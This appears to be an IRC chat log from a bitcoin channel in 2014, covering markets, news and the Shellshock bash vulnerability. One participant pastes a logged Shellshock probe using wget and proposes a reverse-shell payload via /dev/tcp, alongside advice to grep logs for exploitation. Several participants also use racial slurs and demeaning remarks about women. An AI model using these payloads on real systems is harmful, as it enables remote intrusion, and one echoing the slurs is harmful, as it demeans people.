11:28 |
nubbins` |
*hole |
11:28 |
lobbes |
and the paper wasn't even peer reviewed |
11:28 |
bounce |
not yet anyway |
11:28 |
nubbins` |
i'm going to submit a paper about how submarine sandwiches don't exist |
11:30 |
mats_cd03 |
http://www.armytimes.com/article/20140923/NEWS08/309230066/Army-chief-Division-headquarters-will-deploy-soon-Iraq >> 1st Armored. give it a month before the dudes in kuwait make their way over. so much for leaving iraq... |
11:30 |
assbot |
Army chief: Division headquarters will deploy soon to Iraq | Army Times | armytimes.com |
11:30 |
nubbins` |
they can't form, the flour from the bread would get mixed in with the maynnaise |
11:30 |
bounce |
``However, in her new work, Mersini-Houghton shows that by giving off this radiation, the star also sheds mass.'' -- so hawking radiation means you're looking at an imploding and evaporating ex-star |
11:30 |
nubbins` |
mats_cd03 dat perpetual war |
11:30 |
ThickAsThieves |
kate craig https://ip.bitcointalk.org/?u=https%3A%2F%2Flh5.googleusercontent.com%2F-M3N99L26AMU%2FT4FNacodciI%2FAAAAAAAAAPg%2FmR720LPenf8%2Fw1096-h822-no%2F2012%252B-%252B1&t=544&c=YkpXu6zoGvYYuQ |
11:30 |
bounce |
also, I'll peer review your paper in return for a couple subs |
11:30 |
nubbins` |
bounce: like courtney love? |
11:31 |
mats_cd03 |
better than fighting american negroids i guess |
11:31 |
nubbins` |
tat that's a pretty fancy car to be crashing into a rock face |
11:31 |
mats_cd03 |
dafuq is that link |
11:32 |
ThickAsThieves |
it's the mangirl that ran ciphermine |
11:32 |
ThickAsThieves |
and cipherbond |
11:33 |
ThickAsThieves |
is it really a fancy car? looks like a toy |
11:33 |
* |
nubbins` shrugs |
11:33 |
nubbins` |
weird shape, gotta be fancy |
11:33 |
nubbins` |
probably just a celica w/ a body kit or something |
11:34 |
nubbins` |
actually, is that an audio logo on the front wheel? |
11:35 |
nubbins` |
http://www.moibibiki.com/files/images/images640_/audi-r8-1.jpg |
11:40 |
nubbins` |
https://bitcointalk.org/index.php?topic=796300.0 |
11:40 |
assbot |
[0/12] HODL silkscreened t-shirts |
11:41 |
ThickAsThieves |
being born on major US holidays is not allowed https://pbs.twimg.com/media/Bx8dlFWIQAEOzIZ.png |
11:42 |
kakobrekla |
'hlod' is better. |
11:43 |
mike_c |
hilarious, but i'm with BingoBoingo on BTC tshirts |
11:43 |
mats_cd03 |
protip - avoid us hospitals in july. new doctors are rotated in during that period. |
11:44 |
nubbins` |
protip: avoid US hospitals |
11:44 |
kakobrekla |
protip: avoid |
11:44 |
nubbins` |
protip: |
11:44 |
mats_cd03 |
also, if you are poor or need superior treatment in a pinch, go to a va or teaching hospital. |
11:45 |
nubbins` |
calc 0.084457/[ticker --last] |
11:45 |
asciilifeform |
jurov: afaik transmeta microcode magic wasn't actually published. possibly (anyone who knows the truth - correct if wrong) - because it was not actually suited for anything but x86. |
11:45 |
nubbins` |
;;calc 0.084457*[ticker --last] |
11:45 |
gribble |
34.91030095 |
11:45 |
nubbins` |
;;remove 21497 |
11:45 |
gribble |
Order 21497 removed. |
11:45 |
nubbins` |
;;remove 21499 |
11:45 |
gribble |
Order 21499 removed. |
11:45 |
nubbins` |
;;view 21502 |
11:45 |
gribble |
#21502 Thu Sep 25 00:54:36 2014 nubbins` SELL 1.0 100% Organic Cotton HODL t-shirt @ 0.084742 BTC (http://i.imgur.com/afcSgpjl.jpg) |
11:45 |
nubbins` |
there we go |
11:46 |
The20YearIRCloud |
What's hodl? |
11:46 |
mats_cd03 |
redditard meme, i think |
11:46 |
nubbins` |
it's what you do instead of selling |
11:46 |
nubbins` |
mats_cd03 pretty much |
11:46 |
nubbins` |
https://bitcointalk.org/index.php?topic=375643.0 |
11:46 |
assbot |
I AM HODLING |
11:47 |
assbot |
[MPEX] [S.MPOE] 10155 @ 0.00075014 = 7.6177 BTC [-] {2} |
11:49 |
The20YearIRCloud |
the joys of people making money off of memes |
11:51 |
* |
nubbins` nods slowly |
11:52 |
nubbins` |
people want the familiar |
11:52 |
nubbins` |
they're like birds, new things are scary |
11:59 |
asciilifeform |
bounce: people still pay for security (see size of computer security industry) yet are getting none << obligatory >> http://www.loper-os.org/?p=1299 |
11:59 |
assbot |
Loper OS » Don’t Blame the Mice. |
12:00 |
assbot |
[HAVELOCK] [PETA] [PAID] 4.17445644 BTC to 1`149`988 shares, 363 satoshi per share |
| |
~ 18 minutes ~ |
12:18 |
assbot |
[HAVELOCK] [AM1] 5 @ 0.14479999 = 0.724 BTC [+] {2} |
12:19 |
assbot |
[HAVELOCK] [AM1] 5 @ 0.14499998 = 0.725 BTC [+] {2} |
| |
~ 23 minutes ~ |
12:43 |
assbot |
[MPEX] [S.MPOE] 7150 @ 0.00075473 = 5.3963 BTC [+] |
12:46 |
mircea_popescu |
;;ticker |
12:46 |
gribble |
Bitstamp BTCUSD ticker | Best bid: 410.94, Best ask: 411.39, Bid-ask spread: 0.45000, Last trade: 411.4, 24 hour volume: 15061.17519887, 24 hour low: 400.0, 24 hour high: 433.0, 24 hour vwap: 415.60067359 |
12:47 |
nubbins` |
"but paypal" etc |
12:49 |
ThickAsThieves |
give it a couple weeks |
12:49 |
mats_cd03 |
i am rooting for 200 before xmas |
12:49 |
mircea_popescu |
200 srsly ? |
12:49 |
ThickAsThieves |
not happening |
12:49 |
assbot |
Last 3 lines bashed and pending review. ( http://dpaste.com/2VJQA3H.txt ) |
12:49 |
nubbins` |
!b 3 |
12:49 |
mircea_popescu |
if you're going there why not root for fiddy cent sdirectly. |
12:49 |
nubbins` |
for future reference |
12:50 |
mats_cd03 |
that works for me too |
12:50 |
nubbins` |
where in the fuck did i put my soldering iron? srsly. |
12:50 |
mircea_popescu |
up someone's butt ? |
12:50 |
nubbins` |
nah i quit gov't work long ago |
12:50 |
mircea_popescu |
well you did say "in the fuck"... |
12:50 |
nubbins` |
be creative! |
12:50 |
ThickAsThieves |
lol |
12:51 |
assbot |
Last 2 lines bashed and pending review. ( http://dpaste.com/24RQTKK.txt ) |
12:51 |
mircea_popescu |
!b 2 |
12:51 |
mircea_popescu |
now THAT |
12:51 |
mircea_popescu |
'll make you look bad tat :D |
12:51 |
nubbins` |
gotta be quick if you wanna !b |
12:51 |
ThickAsThieves |
the jig is up |
12:51 |
nubbins` |
gotta !b quick |
12:52 |
mircea_popescu |
you know that's what the tits command should be. !jig |
12:54 |
ben_vulpes |
urethrathermal cryptanalysis |
12:54 |
mircea_popescu |
jurov: emphasis theirs. dis gon b gud. <<< in that particular way... |
12:54 |
ThickAsThieves |
do we even haz tits anymoar? |
12:54 |
ThickAsThieves |
what was the command? |
12:54 |
ben_vulpes |
ThickAsThieves: jezz is around, and ozbot responds in pm, but it's not in chan. |
12:54 |
Duffer1 |
.bait |
12:54 |
ben_vulpes |
!bait |
12:54 |
ThickAsThieves |
ah |
12:54 |
ben_vulpes |
ah yeah |
12:54 |
ThickAsThieves |
.bait |
12:55 |
Duffer1 |
assbot hates our freedom |
12:55 |
mircea_popescu |
kakobrekla: o look, 1.271 << totally picked the wrong time to close down teh fund |
12:55 |
ThickAsThieves |
short everything |
12:55 |
mircea_popescu |
#bate |
12:56 |
mircea_popescu |
kakobrekla: barely over retard. <<< nah you're just too young to have a clear memory of the 90s :D |
12:57 |
ThickAsThieves |
interesting that throw this downturn, NMC has actually been the least affected |
12:57 |
ThickAsThieves |
through* |
12:57 |
ThickAsThieves |
nmc/btc i mean |
12:58 |
mircea_popescu |
ThickAsThieves: like i couldnt recognize my own sig... << the hand signature thing in the us is nuts by now. |
12:58 |
ThickAsThieves |
i was thinkin, why didnt they just scan forge it, cmon now |
12:58 |
asciilifeform |
mircea_popescu: http://www.itnews.com.au/News/396180,amazon-forced-to-reboot-ec2-to-patch-xen-bug.aspx << possibly relevant to your latest item |
12:58 |
assbot |
Amazon forced to reboot EC2 to patch Xen bug - Storage - News - iTnews.com.au |
12:58 |
mircea_popescu |
mats_cd03: but every contractor in the world is a miserable, lying thief. << because you pay upfront. |
12:59 |
asciilifeform |
likely, some bozo found (and used) a xen 'vm escape.' |
12:59 |
mircea_popescu |
i only pay on reception, and if acceptable. never had anything but the loveliest most serviceable contractors. |
12:59 |
mircea_popescu |
and if you can't find people who work like that, you're not in a good country to do business, quit the bezzlathron and move. |
12:59 |
ben_vulpes |
ThickAsThieves: doge is up |
12:59 |
ThickAsThieves |
to no good |
12:59 |
mircea_popescu |
lol |
12:59 |
ben_vulpes |
hue |
13:00 |
mats_cd03 |
i can't afford to flee. i have yet to bump four digit vidya game coins. |
13:00 |
assbot |
[HAVELOCK] [B.MINE] [PAID] 1.27252613 BTC to 15`097 shares, 8429 satoshi per share |
13:00 |
ThickAsThieves |
you need 1000btc to move now? |
13:00 |
asciilifeform |
yes. |
13:00 |
ThickAsThieves |
oh you mean $1000btc |
13:00 |
asciilifeform |
both. |
13:01 |
* |
asciilifeform speaks for self |
13:01 |
ThickAsThieves |
ascii theyll never let you leave |
13:02 |
mats_cd03 |
yes for the first, no for the second. 1000btc is my goalpost. |
13:02 |
ThickAsThieves |
russian cryptographer caught fleeing country |
13:02 |
asciilifeform |
ThickAsThieves: at present, the door opens when i open it. just end up having to go back inside to eat. |
13:02 |
mircea_popescu |
mats_cd03 owning like 1% of 1% of the world's currency ain't the worst fate. |
13:03 |
ThickAsThieves |
particularly when you consider how few will ever hold that many |
13:04 |
mircea_popescu |
ThickAsThieves: it's not a real man, it's face morph of all the men in their target audience <<< this. it's probably the real point of facebook. |
13:04 |
mircea_popescu |
"pay us money, you get a facemorph of all the people in your demo." |
13:06 |
ThickAsThieves |
currently about 1500 wallets with 1000+btc |
13:06 |
ThickAsThieves |
so maybe another 500 that split theirs up |
13:06 |
ThickAsThieves |
at most |
13:07 |
ThickAsThieves |
or -500 for multiple wallets being the same owner |
13:09 |
mats_cd03 |
my principle concern is getting to 1000btc. i don't know if it can be done, at the current rate of career progression... i need a better job. |
13:10 |
ThickAsThieves |
yeah i think this year's lows may never be seen again |
13:10 |
asciilifeform |
ThickAsThieves: they'll easily be seen again when another wretch, like dpr, is captured and sat upon an anthill until he coughs up private key |
13:11 |
asciilifeform |
and then buterin's waterfall, again. |
13:11 |
ThickAsThieves |
cept the floor keeps rising |
13:11 |
mike_c |
perhaps not. we didn't see double digits (yet) this year |
13:16 |
ThickAsThieves |
maybe if mp loses La Guerra Serenísima, or Satoshi needs some cash |
13:16 |
mircea_popescu |
asciilifeform this time they won't say. |
13:16 |
mircea_popescu |
they didn't understand there's a mp. it hurt. won't repeat mistakes next time. |
13:18 |
* |
asciilifeform still doesn't grasp why 'they said' last time. |
13:18 |
mircea_popescu |
idiots in charge. |
13:19 |
mircea_popescu |
anyone thinks they can do anything. all vanity, no humility, as if the latter's the sin and the former the virtue. |
13:20 |
ThickAsThieves |
tis bliss |
13:22 |
ThickAsThieves |
so bfl raid was real |
13:22 |
nubbins` |
so apparently they found a backdoor in the shellshock patch on github, hey? |
13:22 |
nubbins` |
lel jk |
13:22 |
mircea_popescu |
llol? |
13:23 |
ThickAsThieves |
every good backdoor has a backdoor |
13:23 |
asciilifeform |
called 'front door' |
13:23 |
ThickAsThieves |
funny they never call it that in sexual context |
13:24 |
nubbins` |
front-bum |
13:24 |
nubbins` |
back that front-bum up, etc |
13:26 |
chetty |
http://www.telegraph.co.uk/news/worldnews/southamerica/argentina/11121984/Argentina-uses-drones-to-root-out-wealthy-tax-evaders.html |
13:26 |
assbot |
Argentina uses drones to root out wealthy tax evaders - Telegraph |
13:26 |
ThickAsThieves |
top door |
13:30 |
mircea_popescu |
argentina has taxes ?! |
13:31 |
kakobrekla |
also chump-choppas |
13:31 |
mircea_popescu |
either someone on the ground here pulled a practical joke at the "media" expense, or else us folk running off to argentina is becoming a problem for the minitruth |
13:35 |
rithm |
http://blog.cogcoop.com/post/98395904605/love-will-inc-and-bitpay-at-georgia-tech |
13:35 |
assbot |
Gear Love Will Inc. and BitPay at Georgia Tech |
13:36 |
rithm |
The Love Will team presented students with information about Bitcoin transactions, mobile hot wallets, and rolled out their new Jacket Wallet, a customized Pheeva hot wallet, specifically for Georgia Tech students and faculty, available on android and in the app store soon. The team plans to create this type of customized wallet at every university that begins to accept Bitcoin on campus. |
13:36 |
mircea_popescu |
heh |
13:36 |
rithm |
i've been thinking bitpay's bowl gam sponsorship was a play to get bitcoin in ncaaa stadiums |
13:36 |
rithm |
now you got alumni doing the mit thing |
13:37 |
rithm |
the bitcoin society is most likely fraternal too if I had to bet |
13:38 |
rithm |
some type of judeo christian ritual involved |
13:38 |
rithm |
but now i sound like atlas |
13:40 |
ThickAsThieves |
;;estimate |
13:40 |
gribble |
Next difficulty estimate | 34531182382.2 based on data since last change | 33722683398.9 based on data for last three days |
13:44 |
bounce |
waiting for the wealthy to hit back with an automated drone catcher to shoot the things out of the air |
13:44 |
kakobrekla |
https://i.chzbgr.com/maxW500/8328379648/h92418905/ |
13:46 |
asciilifeform |
argentina drones, unregistered real estate << and none of this happened with ordinary piloted airplanes ? |
13:47 |
asciilifeform |
it is really a unique sort of retardation when people pretend like airplane was just invented now. |
13:49 |
kakobrekla |
mebbe its more fear of machines than taxes |
13:49 |
kakobrekla |
but combine the both and you get a selling sensation |
13:50 |
bounce |
of course they /could/ have done all that with ordinary planes, except rules. there's no rules for this yet, so some enterprising clerk or other can just order renting such a thing out of the petty cash. |
13:51 |
chetty |
you need an airplane to discover a house? |
13:53 |
bounce |
dunno. if it's large enough plots with lots of trees, maybe. |
13:56 |
kakobrekla |
prolly cheaper and perhaps safer? |
13:56 |
kakobrekla |
crashing plane vs crashing drone |
13:57 |
Naphex |
woot, so bash env backdoor, who would've tought :o |
13:57 |
Naphex |
people running CGI must be blowing their minds right now |
13:59 |
jurov |
;;titlasers should be a thing |
13:59 |
gribble |
Error: "titlasers" is not a valid command. |
13:59 |
nubbins` |
WELL IT SHOULD BE |
13:59 |
asciilifeform |
;;later tell ben_vulpes puzzle, because am n00b: http://imgur.com/a/JggcG << why does parting tool produce a spiral finish? and what determines the geometry of the spiral? |
13:59 |
assbot |
Why? - Imgur |
13:59 |
gribble |
The operation succeeded. |
14:01 |
nubbins` |
the bigger question is why you airbrushed your fingertips |
14:02 |
asciilifeform |
wanted to see if anyone would notice. |
14:02 |
nubbins` |
"those tippies are unusually smooth", i said to myself |
14:02 |
asciilifeform |
(fingers were already published, for anyone who needs my fingertips to unlock a nuke or whatever) |
14:05 |
Naphex |
!s inurl:cgi-bin |
14:05 |
assbot |
0 results for 'inurl:cgi-bin' : http://search.bitcoin-assets.com/?q=inurl%3Acgi-bin |
14:12 |
mike_c |
inurl is optimistic. |
14:12 |
mike_c |
!s cgi-bin |
14:12 |
assbot |
11 results for 'cgi-bin' : http://search.bitcoin-assets.com/?q=cgi-bin |
14:12 |
mike_c |
sweet, paypal! |
14:13 |
Naphex |
lots of .govs love it too |
14:13 |
Naphex |
they're quick to update |
14:14 |
Naphex |
inurl:cgi-bin env.pl - assume direct control |
14:16 |
mircea_popescu |
o look who's here |
14:16 |
mircea_popescu |
who's life Naphex |
14:16 |
Naphex |
i'm always here :P |
14:17 |
Naphex |
fine, pretty boring actually |
14:18 |
Naphex |
people be pentesting [25/Sep/2014:21:02:23 +0300] "GET http://www.btcxchange.ro/cgi-sys/defaultwebpage.cgi HTTP/1.0" 200 17528 "() { :;}; /usr/bin/wget http://shellshock.brandonpotter.com/report/HM05TTIHKJF2TA5QQGKEPR/Referer" "() { :;}; /usr/bin/wget http://shellshock.brandonpotter.com/report/HM05TTIHKJF2TA5QQGKEPR/User-Agent" |
14:18 |
assbot |
Whoops! Somebody divided by zero... | btcXchange.ro - Bitcoin Exchange Platform with 0% transaction fees |
14:19 |
Naphex |
what a stupid payload to even ping back |
14:19 |
Naphex |
could've just used a reverse echo "code" >& /dev/tcp/8.8.8.8/8080 0>&1 |
14:19 |
Naphex |
instead of wget |
14:20 |
asciilifeform |
so when do we learn the name of the malicious-c-contest artist who gave us 'shellshock' ? |
14:21 |
asciilifeform |
(and yes - we know author of 'heartbleed.' and he's alive and well and still contributing code to public projects, afaik. why? don't ask me) |
14:21 |
mircea_popescu |
"Username/password combinations dont cut it anymore, and Two-Factor authentication is a great way to help secure user accounts. If you have an account with a system that supports it, you should be using it." |
14:21 |
mircea_popescu |
from brandon potter's expertise den |
14:22 |
jurov |
https://www.mozilla.org/security/announce/2014/mfsa2014-73.html bad news come in pairs |
14:22 |
assbot |
MFSA 2014-73: RSA Signature Forgery in NSS |
14:22 |
mircea_popescu |
in unrelated news : i've added an email filter rule to drop anything with "bounce" in the headers. best rule ever. |
14:23 |
mircea_popescu |
jesus. |
14:24 |
mircea_popescu |
jurov PKI was unusable for reason of insecurity anway |
14:25 |
mircea_popescu |
ThickAsThieves: they wanna jedi mind trick the fappening and NSA etc << there's probably a feminst and an environmentalist somewhere in the us that actually will buy into it. |
14:25 |
mircea_popescu |
and they'll probably meet, and have a child. |
14:25 |
mircea_popescu |
and it'll have a funny little moustache. |
14:26 |
asciilifeform |
feminist environmentalist dies of contradiction - hormonal pills, pissed out into the ground water, destroying rare fish - etc. |
14:28 |
jurov |
http://bitstash.com/ such gems i keep finding today. hardened bluetooth!!1 |
14:28 |
assbot |
BitStash |
14:28 |
mircea_popescu |
bounce: VERY DANGEROUS UBERHACKERS << ever see a woman with a little girl trying to cook while the little girl stirred some random items in a smaller pot immitating her ? |
14:29 |
mircea_popescu |
this is exactly what's going on. kids are wired to monkey, so they monkey. |
14:29 |
asciilifeform |
jurov: mega-lol! great find. |
14:29 |
mircea_popescu |
asciilifeform the guy is a 65 lb environmentalist vegan artist with a lot of etsy success, on lesswrong and patronize or w/e that donation site is. |
14:29 |
asciilifeform |
which guy |
14:30 |
mircea_popescu |
the feminist is a 650 lb mountain dew and icecream behemoth with a very popular twitter profile, and a lot of lj experience. |
14:30 |
asciilifeform |
aha |
14:30 |
mircea_popescu |
after he rolls her around in flour to see where it sticks they have long soulfull talk |
14:30 |
asciilifeform |
jurov: am i the only one who instantly thought 'dust bin' ? |
14:30 |
mircea_popescu |
and decide that condoms are bad for africa and pills bad for the environment |
14:30 |
mircea_popescu |
since they can't find a sponge that comfortably fits a calender |
14:31 |
mircea_popescu |
they end up having kids. |
14:31 |
jurov |
asciilifeform: me too. but that's the usg-approved look |
14:32 |
asciilifeform |
i finally realized - they cribbed the 'dust bin' from -- apple. |
14:32 |
asciilifeform |
(who, of late, have actually been selling a computer in that shape.) |
14:34 |
mircea_popescu |
who's dekker3d |
14:34 |
mircea_popescu |
;;seen Dekker3D |
14:34 |
gribble |
Dekker3D was last seen in #bitcoin-assets 11 weeks, 4 days, 0 hours, 40 minutes, and 47 seconds ago: <Dekker3D> I remember someone who used this. |
14:35 |
mircea_popescu |
weird. |
14:39 |
mircea_popescu |
mats_cd03: language drifts news at 11 << language drifting so as to serve the interests and needs of the upper class is fine. |
14:39 |
mircea_popescu |
this bullshit where the lower classes are pushing the language out of shape because they're filthy and stupid can not be tolerated. |
14:39 |
mircea_popescu |
not all language change is created equal. |
14:41 |
mircea_popescu |
chetty: does security exist in nature? << yes, actually. entropy securely flows one way, and god help you if you mess with mass conservation. |
14:42 |
mircea_popescu |
mike_c: meet behind the school at noon << yo! |
14:42 |
mike_c |
seemed to be heading that direction :) |
14:42 |
mircea_popescu |
mike_c |
14:42 |
mircea_popescu |
oops |
14:43 |
asciilifeform |
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3505#p23987 << mega-lol |
14:43 |
assbot |
KernelMode.info • View topic - Linux/Bash0day alias Shellshock alias Bashdoor |
14:44 |
mircea_popescu |
bounce: now it would help if we can properly articulate what ails us. but we can't, because the terminology has been deliberately confused and watered down and broadened and stretched (by the industry) so as to spread FUD more effectively << you are very naive to imagine the terminology has anything to do with it. point in case : if in a room with a woman that wants to fuck me, i don't need to speak her language. point |
14:44 |
mircea_popescu |
ing even may be an excessive requirement. if on the other hand in a room with a woman that doesn't want to, you can be e a poe for all the good it'll do you. |
14:45 |
mircea_popescu |
this is exactly the case in here. to imagine one can somehow magically learn "the language" without a) passing the requisite tests and b) interiorising the culture that spawned that language is naive. and if a and b is satisfgied, the form of language is really moot anyway. |
14:45 |
mircea_popescu |
the variety speak is not the words, it's the variety. |
14:47 |
mircea_popescu |
which is why you can have good programmers that speak english, russian or whatever else natively, as well as c or lisp or whatever else ; but you can't make someone a good programmer by teaching him to say i++; |
14:47 |
mircea_popescu |
people figured it'd work maybe if you not teach him to say goto 10 |
14:47 |
mircea_popescu |
but really, that's just as much nonsense. |
14:48 |
wywialm |
mircea_popescu, that sounds very much like Wittgenstein - correct me if i'm wrong |
14:49 |
mircea_popescu |
it'd better, inasmuch wittgenstein was right :) |
14:50 |
mircea_popescu |
for that matter, it's a direct pastiche of knight, You cannot fix a machine by just power-cycling it with no understanding of what is going wrong. |
14:51 |
wywialm |
I recall something close stated in Investigations, in the flavour of "the meaning is use" |
14:52 |
mircea_popescu |
wywialm no, you're right, it's just... it's a fundamental idea that saw much expression. |
14:52 |
mircea_popescu |
"map is not the territory", "stat rosa pristina nomine, nomina nuda tenemus", pick your poison. |
14:53 |
wywialm |
Oh, yeah. In this we certainly agree |
14:54 |
kuzetsa |
Naphex, asciilifeform: yeah... I've had to stop neglecting a production server and finally run updates today because of shellshock :( |
14:57 |
mircea_popescu |
jurov: is anyone willing to pay "we have read the code for you" kind of security? <<< yes. but it's like the case with drinking water : people ARE wiling to pay for drinking water ; people are not willing to pay to have a dam constructed. |
14:57 |
mircea_popescu |
so if your per line price can be few enough satoshi, this is a valid business model. |
14:59 |
asciilifeform |
obligatory: |
14:59 |
asciilifeform |
http://underhanded.xcott.com |
14:59 |
assbot |
The Underhanded C Contest |
14:59 |
Naphex |
kuzetsa: you should check logs, make sure you're not owned |
14:59 |
Naphex |
grep for "() {" |
14:59 |
asciilifeform |
mircea_popescu: code auditing without a serious 'poison pill contract' turns into 'elephant repellant.' |
14:59 |
mircea_popescu |
jurov: redhat would be in a position to do it << redhat is a usg subcontractor. this is like saying goldman sachs is in a position to break the aml/kyc bullshit ring. |
15:00 |
mircea_popescu |
no, they aren't ; if they were it'd be suicidal. |
15:00 |
mircea_popescu |
asciilifeform the wot is the poison pill. |
15:00 |
mircea_popescu |
consider the culture shock a certain justin o'connell endured at my hands : http://trilema.com/2014/so-the-dollar-vigilante-scam-ring-is-going-to-jail/#comment-108121 |
15:00 |
assbot |
So the Dollar Vigilante scam ring is going to jail. pe Trilema - Un blog de Mircea Popescu. |
15:00 |
mircea_popescu |
he lives in a world where being a scummy fuckwit is okay, because everyone is a scummy fuckwit. |
15:00 |
mircea_popescu |
the wot cuts right through that. |
15:01 |
mircea_popescu |
all the current fucktards calling themselves "developers" would find themselves in the positon of taaki, maxwell et co stat, once someone started leveraging that model aginst their scummy, indolent, ignorant idiocy. |
15:02 |
mircea_popescu |
once the "you have one chance, don't fuck it up" model gets implemented universally, we'll have a wholesale return to the pleasant mores of the society constructed on enforcing the same principle upone women only. |
15:02 |
asciilifeform |
security by auditing extant mega-turds is rather like muscle-powered airplane |
15:02 |
mircea_popescu |
except, twice as much, plus all the other benefits of not having to deal with the insane arbitrariety of only doing it to half the population |
15:02 |
asciilifeform |
yes, they exist. yes, olympic athletes have lifted two metres high for two minutes. |
15:03 |
mircea_popescu |
asciilifeform all flight started with the galley slave. |
15:03 |
mircea_popescu |
the reason airbus is a thing is because the romans forced men to push oars. |
15:03 |
mircea_popescu |
2k years ago |
15:03 |
asciilifeform |
yes - but where are the oars on 'airbus' ? |
15:03 |
mircea_popescu |
same place your elithrae are. |
15:03 |
mircea_popescu |
just because they meanwhile fell off doesn't mean you didn't need them to get here. |
15:05 |
asciilifeform |
mircea_popescu: the basic problem is that anyone who tells you that he can do this job - is a liar, right off the bat |
15:05 |
mircea_popescu |
i don't think you properly understand grinding. |
15:05 |
asciilifeform |
so you end up with a sub-wot for this that's 100 percent scammer by weight. |
15:05 |
mircea_popescu |
in order for the job to be done, nobody needs to do it. |
15:05 |
asciilifeform |
nothing to distill. |
15:06 |
mircea_popescu |
which stone in the roller made the quartz round ? |
15:06 |
mircea_popescu |
you don't need round stones to produce round stones. you just need a rotative process. |
15:06 |
asciilifeform |
which stone in the roller << this is the basic premise behind 'many eyes' theory, - and we know it is empirically false. |
15:06 |
mircea_popescu |
it's only empirically false because it's so easy to lie. |
15:06 |
mircea_popescu |
sign where you read. no longer false. |
15:07 |
mircea_popescu |
let's model this. people with young children go camping. 20 adults, 10 children. case 1, "people generally" look after the kids. |
15:07 |
mircea_popescu |
they come home with eight in the best case. |
15:08 |
mircea_popescu |
case 2, every hour of the day one adult is in charge of watching the kids. if anything happens he's in for murder. |
15:08 |
mircea_popescu |
unless a meteor falls, they're coming home with 10 kids. |
15:09 |
mircea_popescu |
there's no such thing as "the army is generally watching the surroundings". no dude, sentinels, since 2000 years ago and never with an exception since. |
15:09 |
mircea_popescu |
in fact, it's the sentinels that distinguish army from band of drunken revelers. |
15:09 |
asciilifeform |
mircea_popescu: different gedankenexperiment. take redditgurlz, say a dozen. lock them in a dungeon, no food until invent hydrogenbomb. |
15:09 |
asciilifeform |
do you get bomb ? |
15:09 |
mircea_popescu |
i will, yes. |
15:09 |
mircea_popescu |
as long as you let me beat them selectively i'll have my bomb, and some adoring princesses to follow me around to boot. |
15:10 |
asciilifeform |
russian saying 'you can't mold a bullet from shit' isn't strictly true - you could, had you sufficient energy, convert the shit into diamond and have bullet |
15:10 |
mircea_popescu |
quite |
15:10 |
mircea_popescu |
besides. there's iron in the heme that the shit is mostly comprised of. |
15:10 |
asciilifeform |
but if engineer tells you this, you will kick him. |
15:11 |
mircea_popescu |
depends of the context. |
15:11 |
asciilifeform |
context of 'i need a box of bullets' |
15:11 |
mircea_popescu |
the goal is not the context. |
15:11 |
mircea_popescu |
if he says this sitting right next to a lathe i'm going to smack his head on the lathe. |
15:11 |
mircea_popescu |
if in a worldwide septic tank, we're going for it. |
15:11 |
mircea_popescu |
you, in fact, are currently and have been for a year, molding a bullet. |
15:11 |
mircea_popescu |
out of... |
15:12 |
asciilifeform |
piss. |
15:12 |
asciilifeform |
not easy. |
15:12 |
mircea_popescu |
whether to make the piss freeze or to try and electrolytically separate iron from shit is an exercise left for the engineer. |
15:12 |
asciilifeform |
notice that the analogy is closer than one might like |
15:13 |
asciilifeform |
to create the bullet from shit-diamond, it is necessary to remove most of the extraneous matter. |
15:13 |
kuzetsa |
[14:59:14] <+Naphex> kuzetsa: you should check logs, make sure you're not owned << logs of what? |
15:13 |
asciilifeform |
conceivably, most of the mass present. |
15:13 |
mircea_popescu |
asciilifeform selective beating is selective beating. people adapt, young people especially so, women most of all. |
15:13 |
mircea_popescu |
kuzetsa the server in question ? |
15:14 |
mike_c |
these methods (beating, wot, etc) could be applied to new software |
15:14 |
mike_c |
if i wrote a new btc wallet (or managed development thereof), it would be secure for fear of above methods |
15:14 |
kuzetsa |
mircea_popescu: but... I don't have any cgi on the httpd, nor are any of the other daemons the sort which use environment variables to pass stuff around (using bash or otherwise) |
15:14 |
mike_c |
but to audit existing btc wallet? forget it. |
15:14 |
mircea_popescu |
mike_c notice how little beating is actually needed, among civilised adults that interiorise the wot model. |
15:14 |
Naphex |
apache still passes stuff through env by default |
15:14 |
mircea_popescu |
kuzetsa reading logs never killed anyone. |
15:15 |
Naphex |
but it should be no problem unless thet env hits apache |
15:15 |
kuzetsa |
Naphex: I don't use apache |
15:15 |
mircea_popescu |
if the process of figuring out what is safe worked, we wouldn't have the bug in the first place. |
15:15 |
Naphex |
nginx / php fpm/ fast cgi all pass env as well |
15:15 |
asciilifeform |
also it is possible that i used a bad example. man has indeed invented hydrogen bomb. but securing 50 years of turdolade by 'fixing mistakes' is more akin to jumping 1km. no athlete has jumped 1km, and beatings will not create one. |
15:15 |
Naphex |
and if that env hits bash it runs |
15:15 |
mircea_popescu |
asciilifeform point is not to fix anything. |
15:16 |
Naphex |
kuzetsa: mail servers will pass through env as well, on the pipeline while filtering them mails |
15:16 |
mircea_popescu |
we're not here for a goal, we're here because a cause. major fucking difference. |
15:16 |
Naphex |
so any mail filters, spam filters |
15:16 |
mircea_popescu |
Naphex also some ssl/ssh/etc |
15:17 |
kuzetsa |
Naphex: I don't have any mail daemon on that particular system either |
15:17 |
mike_c |
what? how is env getting set if no cgi/bash shit? |
15:17 |
Naphex |
mircea_popescu: yeah but that doesn't hit sh until successful login |
15:17 |
mircea_popescu |
still. |
15:17 |
Naphex |
mike_c: env is general POSIX |
15:17 |
Naphex |
all apps use it |
15:17 |
rithm |
my spam filter is roll-your-own |
15:17 |
asciilifeform |
until the entire machine stack (chemical, electronic, os, etc) fits in a human mind - doesn't have to be that of alcoholic bum off the street, could be six people alive - then you have a system a reasonable man will sign his life under. |
15:17 |
Naphex |
and pass it around, if corrupted env hits bash it runs and the end |
15:17 |
mike_c |
yes, but i thought shocky thingy required cgi/bash to chane env |
15:18 |
rithm |
my testing alligns with what Naphex just said about authentication |
15:18 |
Naphex |
mike_c: no, you can change env regardless, its just that if bash interpets the env it runs |
15:18 |
mike_c |
shit, i gotta read more. |
15:18 |
mircea_popescu |
asciilifeform this is where you're wrong. because consider, what is your definition of "human mind" ? could you in fact have two human minds that are identically the same one mind for this purpose ? turns out you can, it's the most important field of research of the vory. |
15:18 |
asciilifeform |
one can chop heads if job is not done, but if it isn't doable given the available constraints - you just end with a tall pile of heads |
15:18 |
mircea_popescu |
how is it done ? why, by not acting towards a goal, but from a cause. |
15:19 |
kuzetsa |
mike_c: I'm certain that the public-internet-facing daemons on the system in question don't pass stuff around using environment variables |
15:19 |
asciilifeform |
well sure - ultimately all organization is based on this |
15:19 |
mircea_popescu |
quite. |
15:19 |
Naphex |
